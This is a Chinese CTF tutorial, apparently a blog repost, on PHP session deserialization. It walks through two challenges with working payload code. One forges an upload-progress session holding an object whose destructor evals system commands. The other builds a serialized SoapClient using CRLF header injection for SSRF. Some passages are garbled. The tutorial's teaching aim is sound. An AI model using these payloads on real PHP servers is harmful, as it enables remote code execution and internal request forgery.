PHP反序列化入门之session反序列化

原文地址:https://mochazz.github.io/2019/01/29/PHP反序列化入门之session反序列化/

PHP的session机制

在学习 session 反序列化之前,我们需要了解这几个参数的含义。

Directive 含义
session.save_handler session保存形式。默认为files
session.save_path session保存路径。
session.serialize_handler session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

我们先通过一个样例代码,看看3种不同的 session 序列化处理器处理 session 的情况。

    
    session_start();
    $_SESSION['name'] = 'mochazz';
    ?>

session.serialize_handler=php 时,session文件内容为: name|s:7:"mochazz";

session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}

session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"mochazz";

再来看看 session.upload_progress.enabled

当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 S E S S I O N ] ( h t t p : / / p h p . n e t / m a n u a l / z h / r e s e r v e d . v a r i a b l e s . s e s s i o n . p h p ) 中 获 得 。 当 P H P 检 测 到 这 种 P O S T 请 求 时 , 它 会 在 [ _SESSION](http://php.net/manual/zh/reserved.variables.session.php)中获得。 当PHP检测到这种POST请求时,它会在[ SESSION](http://php.net/manual/zh/reserved.variables.session.php)PHPPOST[_SESSION中添加一组数据, 索引是session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。

通常这些键值可以通过读取INI设置来获得,例如:

    
    $key = ini_get("session.upload_progress.prefix") . ini_get("session.upload-progress.name");
    var_dump($_SESSION[$key]);
    ?>

更多细节请参考:http://php.net/manual/zh/session.upload-progress.php

如果想看上面说的这个存在 $_SESSION 数组中的信息,我们需要先将 session.upload_progress.cleanup 设置成 Off

在这里插入图片描述

接下来我们通过两个CTF题目来学习 session 反序列化问题。

例题一

在这里插入图片描述

在这里插入图片描述

可以看到题目环境中的 session.serialize_handler 默认为 php_serialize 处理器,而程序使用的却是 php 处理器,而且开头 第4行 使用了 session_start() 函数,那么我们就可以利用 session.upload_progress.enabled 来伪造 session ,然后在 PHP 反序列化 session 文件时,还原 OowoO 类,最终执行 eval 函数。

    
    ini_set('session.serialize_handler', 'php');
    session_start();
    class OowoO{
        public $mdzz;
        function __construct(){
            $this->mdzz = 'echo system("pwd");';
        }
        function __destruct(){
            eval($this->mdzz);
        }
    }
    $_SESSION['payload'] = new OowoO();
    // 生成session文件内容为:
    // payload|O:5:"OowoO":1:{s:4:"mdzz";s:19:"echo system("pwd");";}
    ?>

我们可以通过如下表单,抓包修改 filenamepayload 即可。

    <form action="http://localhost/demo.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="session.upload_progress.name"); ?>" value="123" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>

最终会生成一个 session 文件, php 在获取 session 的时候,会按照 session.serialize_handler=php 规则来处理 session 文件,将 | 符号之前的所有内容认为是键名,之后的内容则用于反序列化。

在这里插入图片描述

在程序运行结束时,调用 OowoO 类的 __destruct 方法,最终触发代码执行操作。

例题二

在这里插入图片描述

index.php 文件中,看到 第5行call_user_func 方法,其参数二的位置固定为 $_POST 数组,我们很容易便想到利用 extract 函数进行变量覆盖,以便配合后续利用。 第6-8 行代码又存在 session 伪造漏洞,我们可以考虑是否可以包含 session 文件或者利用 session 反序列化漏洞。 第12行call_user_func 函数的第一个参数虽然被固定为 implode ,但是我们可以通过前面的 extract 函数进行变量覆盖(注意:在PHP7.x比较新的版本中,已经不允许动态调用 extract 函数了)。而 flag.php 文件中告诉我们,只有 127.0.0.1 请求该页面才能得到 flag ,所以这明显又是考察 SSRF 漏洞,这里我们便可以利用 SoapClient 类的 __call 方法来进行 SSRF

下面我们通过一个例子,来看看 SoapClient 类的 __call 方法如何使用。

    
    $target = "http://localhost:2333";
    $options = array(
        "location" => $target,
        "user_agent" => "mochazz\r\nCookie: PHPSESSID=123123\r\n",
        "uri" => "demo"
    );
    $attack = new SoapClient(null,$options);
    $payload = serialize($attack);
    unserialize($payload)->ff(); // 调用一个不存在的ff方法,会触发__call方法,发出HTTP请求
    ?>

由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header 信息,上面的请求结果如下:

在这里插入图片描述

call_user_func 函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法,例如:

    
    class myclass {
        static function say_hello()
        {
            echo "Hello!\n";
        }
    }
    $classname = "myclass";
    call_user_func(array($classname, 'say_hello'));
    call_user_func($classname .'::say_hello'); // As of 5.2.3
    $myobject = new myclass();
    call_user_func(array($myobject, 'say_hello'));
    ?>

这样题目中的 call_user_func( b , b, b,a) 就可以变成 call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF

这里还要提及一点的是 session_start 函数从 PHP7 开始允许通过参数来设置 session 运行时配置。例如:

session_start(array('serialize_handler' => 'php_serialize'))

将会设置 session.serialize_handler=php_serialize 。

最终我们的利用方法如下:

    
    $target = "http://127.0.0.1/flag.php";
    $post_data = 'flag=demo';
    $ua = array(
        'mochazz',
        'Content-Type: application/x-www-form-urlencoded',
        'X-Forwarded-For: 127.0.0.1',
        'Cookie: PHPSESSID=mochazz'
    );
    $options = array(
        'location' => $target,
        'user_agent' => join("\r\n",$ua) . "\r\nContent-Length: " . (string) strlen($post_data). "\r\n\r\n" . $post_data,
        'uri'=>'hello'
    );
    $serialize_string = serialize(new SoapClient(null,$options));
    echo urlencode($serialize_string);
    ?>

在这里插入图片描述

在这里插入图片描述

最后我们再将 PHPSESSID 修改成 mochazz 即可获得 flag ,整个攻击的流程图如下:

在这里插入图片描述

例二题目环境可以从 这里 下载。

你可能感兴趣的:(技术学习)